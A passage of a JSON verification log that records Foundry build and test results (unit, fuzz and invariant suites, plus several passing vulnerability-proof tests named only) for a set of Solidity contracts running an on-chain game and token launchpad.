1 test for test/imd-proof-0039de71/Proof_85d8d318f724.t.sol:GenesisGriefTest\n[PASS] test_strangerMintThenSilenceBricksPadForever() (gas: 1207546)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.58ms (310.68µs CPU time)\n\nRan 1 test suite in 10.32ms (9.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":6047,"exitCode":0,"name":"proof 66c81d1d42c9","output":"2026-10-13T22:40:24.878911Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-YYUYBX/repo/test/imd-proof-0039de71/Proof_85d8d318f724.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.52s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-5873aef0/Proof_66c81d1d42c9.t.sol:CarryPotCaptureTest\n[PASS] test_soloLaunchCapturesCarryPot() (gas: 4005416)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.32ms (1.43ms CPU time)\n\nRan 1 test suite in 7.10ms (6.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":5427,"exitCode":0,"name":"proof 5832a3712adf","output":"2026-10-13T22:40:30.896645Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-YYUYBX/repo/test/imd-proof-5873aef0/Proof_66c81d1d42c9.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.95s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-77e77942/Proof_5832a3712adf.t.sol:SybilKingShareTest\n[PASS] test_fiveFreeImpsCaptureKingsGamesShare() (gas: 5069748)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.31ms (1.70ms CPU time)\n\nRan 1 test suite in 8.11ms (7.31ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":13607,"exitCode":0,"name":"proof f73869284b89","output":"2026-10-13T22:40:36.379708Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-YYUYBX/repo/test/imd-proof-77e77942/Proof_5832a3712adf.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 13.08s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-9daa84b7/Proof_f73869284b89.t.sol:FinalizerFeeStuckTest\n[PASS] test_finalizerFeeIsLockedInsideGameWhenTakeCrownFinalizes() (gas: 5242127)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.13ms (2.38ms CPU time)\n\nRan 1 test suite in 23.96ms (23.13ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"3c7bfab62a784899955de93ef6a3153fecd0cb830de3a9554a4bc4e84ef04aab","verifiedTreeHash":"06ca82ef726cfdbc53b64b0ee8ed68456aa018f9","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":41966,"exitCode":0,"name":"build","output":"Compiling 35 files with Solc 0.8.26\nSolc 0.8.26 finished in 41.89s\nCompiler run successful!\n","passed":true},{"durationMs":2382,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1053996)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 325006)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3991258)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1029140)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1097537)\n[PASS] test_distributeWithoutKingEscrows() (gas: 590038)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7932814)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 552637)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8310529)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 980862)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1243856)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3467126)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33014)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272016)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 26.25ms (12.54ms CPU time)\n\nRan 20 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120820)\n[PASS] test_bindingsAreOneShot() (gas: 87724)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9749506)\n[PASS] test_closedPadRevertsEverything() (gas: 203325)\n[PASS] test_deployGasUnderBudget() (gas: 19902)\n[PASS] test_deployHookOnlyByPad() (gas: 30999)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 12036697)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779369)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9881161)\n[PASS] test_launchValidatesStrings() (gas: 9024083)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710649)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741936)\n[PASS] test_openPadOnlyOnce() (gas: 3717732)\n[PASS] test_openPadRejectsBadSalt() (gas: 213430)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525966)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 3997491)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 26965948)\n[PASS] test_templatesCannotBeInitialized() (gas: 131492)\n[PASS] test_upkeepForOnlyGames() (gas: 169213)\nSuite result: ok. 20 passed; 0 failed; 0 skipped; finished in 869.11ms (197.27ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 4933266)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 5501864)\n[PASS] test_claimNothingReverts() (gas: 143733)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 9735290)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 12291023)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 18263140)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 4378385)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 5243741)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 4903361)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 97956974)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3779889\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 31336346)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 15298867)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 13621559)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 4195651)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 4879213)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 3737053)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9148)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 4296945)\n[PASS] test_launchViewsRejectIdZero() (gas: 32993)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 4511832)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 10296210)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 9815568)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 8972038)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78082)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 3711224)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 3750932)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 3212247)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 10046634)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 10256513)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 5674985)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 4523025)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 9033872)\n[PASS] test_singleLivingImpTakesEverything() (gas: 6157083)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 4270531)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 9068014)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 872.83ms (723.57ms CPU time)\n\nRan 36 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 970405)\n[PASS] test_claimableWinner() (gas: 1660416)\n[PASS] test_conservationOfEth() (gas: 3594014)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 41306)\n[PASS] test_deadImpCannotRingTheBell() (gas: 1262832)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1236022)\n[PASS] test_deathAndAllDeadEnd() (gas: 820422)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1331699)\n[PASS] test_failedPushBecomesClaimable() (gas: 866209)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3229705)\n[PASS] test_finalizeRanksAndPays() (gas: 2886893)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 852280)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 85866437)\n[PASS] test_finalizerFeeCapped() (gas: 9387616)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 860825)\n[PASS] test_firstMintStartsSignup() (gas: 283014)\n[PASS] test_fundPotOnlyPad() (gas: 43700)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 12265469)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 2166235)\n[PASS] test_graduateOnlyFromGame() (gas: 71102)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5494213)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 607350)\n[PASS] test_hardEndAt60Minutes() (gas: 2566914)\n[PASS] test_mintCapsAt200() (gas: 30726676)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 499864)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6882609)\n[PASS] test_resolveBatchIsEight() (gas: 4524493)\n[PASS] test_rollAfterOwnBellReverts() (gas: 1176953)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 990622)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 960339)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 827119)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 609829)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 542715)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 1837873)\n[PASS] test_tokenLockedUntilGraduation() (gas: 698523)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1687771)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 878.00ms (86.21ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 9495026, ~: 9495119)\nLogs:\n  Bound result 18388529315714645403\n  Bound result 1770311666190782377\n  Bound result 3375\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 9796030, ~: 9796089)\nLogs:\n  Bound result 12399921930435212306\n  Bound result 46393892585148245874\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 13275911, ~: 12191852)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 9382470, ~: 9382504)\nLogs:\n  Bound result 49990000003498602391\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 6897260, ~: 6916715)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 36671, ~: 36820)\nLogs:\n  Bound result 5869\n  Bound result 14084\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21016, ~: 20603)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 36961, ~: 37165)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 9649912, ~: 10601305)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 878.09ms (5.10s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 97    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 118   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 111   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | mint           | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 131   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 214   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 115   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 228   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 13\n  Bound result 256\n  Bound result 237\n  Bound result 0\n  Bound result 17\n  Bound result 2995000000000000041\n  Bound result 320\n  Bound result 78\n  Bound result 14\n  Bound result 499999999999999993\n  Bound result 15\n  Bound result 30000000000000000\n  Bound result 0\n  Bound result 0\n  Bound result 60\n  Bound result 380944822851051740\n  Bound result 416\n  Bound result 66\n  Bound result 624\n  Bound result 58\n  Bound result 12\n  Bound result 500\n  Bound result 176\n  Bound result 218\n  Bound result 196\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.30s (2.27s CPU time)\n\nRan 6 test suites in 2.30s (5.83s CPU time): 116 tests passed, 0 failed, 0 skipped (116 total tests)\n","passed":true},{"durationMs":50,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":138,\"docs/AUDIT.md\":146,\"docs/TEST-REPORT.md\":30,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":522,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":350,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":261,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":788,\"test/Base.t.sol\":144,\"test/Fuzz.t.sol\":286,\"test/Game.t.sol\":763,\"test/Invariants.t.sol\":564,\"test/King.t.sol\":304,\"test/Pad.t.sol\":280,\"test/mocks/Mocks.sol\":248},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"78dc1fb1d409e0ed5d3e8fa7916fc8efb264fe994ffaa1229d4e90159c28fc55","verifiedTreeHash":"3ba89ceea09cabe9e6a166c29c63d320cb081afa","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":34919,"exitCode":0,"name":"build","output":"Compiling 35 files with Solc 0.8.26\nSolc 0.8.26 finished in 34.85s\nCompiler run successful!\n","passed":true},{"durationMs":1959,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 10 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 695629)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3653571)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 996237)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1084405)\n[PASS] test_distributeWithoutKingEscrows() (gas: 582338)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7662217)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 540502)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8113510)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 952893)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 32911)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 34.70ms (14.07ms CPU time)\n\nRan 28 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 947310)\n[PASS] test_claimableWinner() (gas: 1619911)\n[PASS] test_conservationOfEth() (gas: 3502621)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 40988)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1208105)\n[PASS] test_deathAndAllDeadEnd() (gas: 802912)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1299116)\n[PASS] test_failedPushBecomesClaimable() (gas: 847663)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3146794)\n[PASS] test_finalizeRanksAndPays() (gas: 2816471)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 833394)\n[PASS] test_finalizerFeeCapped() (gas: 790280)\n[PASS] test_firstMintStartsSignup() (gas: 277118)\n[PASS] test_graduateOnlyFromGame() (gas: 70983)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5368127)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 588566)\n[PASS] test_hardEndAt60Minutes() (gas: 2512552)\n[PASS] test_mintCapsAt200() (gas: 29650799)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 488995)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6700450)\n[PASS] test_resolveBatchIsEight() (gas: 4403000)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 972961)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 938689)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 809622)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 597719)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 530759)\n[PASS] test_tokenLockedUntilGraduation() (gas: 686721)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1632797)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 38.30ms (27.96ms CPU time)\n\nRan 18 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120519)\n[PASS] test_bindingsAreOneShot() (gas: 87526)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9589815)\n[PASS] test_closedPadRevertsEverything() (gas: 200975)\n[PASS] test_deployGasUnderBudget() (gas: 19880)\n[PASS] test_deployHookOnlyByPad() (gas: 30933)\n[PASS] test_fundGamesOnlyKing() (gas: 39613)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779159)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9714517)\n[PASS] test_launchValidatesStrings() (gas: 8957208)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710473)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741672)\n[PASS] test_openPadOnlyOnce() (gas: 3717556)\n[PASS] test_openPadRejectsBadSalt() (gas: 213298)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525834)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 23744481)\n[PASS] test_templatesCannotBeInitialized() (gas: 131382)\n[PASS] test_upkeepForOnlyGames() (gas: 162543)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 833.54ms (193.16ms CPU time)\n\nRan 33 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 4908170)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 5452287)\n[PASS] test_claimNothingReverts() (gas: 143601)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9613)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 9579674)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 12083308)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 17927837)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 4365525)\n[PASS] test_failedGenesisLocksLaunchKingAndBurnForever() (gas: 4450478)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 113657029)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 21799398\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 30471528)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 13301119)\n[PASS] test_fundPotRefusedAfterFinalize() (gas: 4076402)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 4855662)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 3736781)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9148)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 4284407)\n[PASS] test_launchViewsRejectIdZero() (gas: 32812)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 4499888)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 10120789)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 9653734)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 8842455)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78011)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 3711026)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 3750690)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 3212071)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9911065)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 10100897)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 5638919)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 4505382)\n[PASS] test_singleLivingImpTakesEverything() (gas: 6100317)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 4259311)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8935609)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 833.61ms (525.23ms CPU time)\n\nRan 8 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 9353156, ~: 9353224)\nLogs:\n  Bound result 15921185192148548027\n  Bound result 471\n  Bound result 56\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 9640061, ~: 9640124)\nLogs:\n  Bound result 16079432639071641108\n  Bound result 47366815410138068573\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 12461498, ~: 11911324)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 9244766, ~: 9244798)\nLogs:\n  Bound result 10000000000000002\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 36467, ~: 36465)\nLogs:\n  Bound result 393528593821441371459641979\n  Bound result 1815196737906823897\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 20906, ~: 20493)\nLogs:\n  Bound result 3135424969\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 36758, ~: 36967)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 9610990, ~: 10418812)\nLogs:\n  Bound result 1\n\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 860.60ms (6.49s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 114   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 115   | 0       | 0        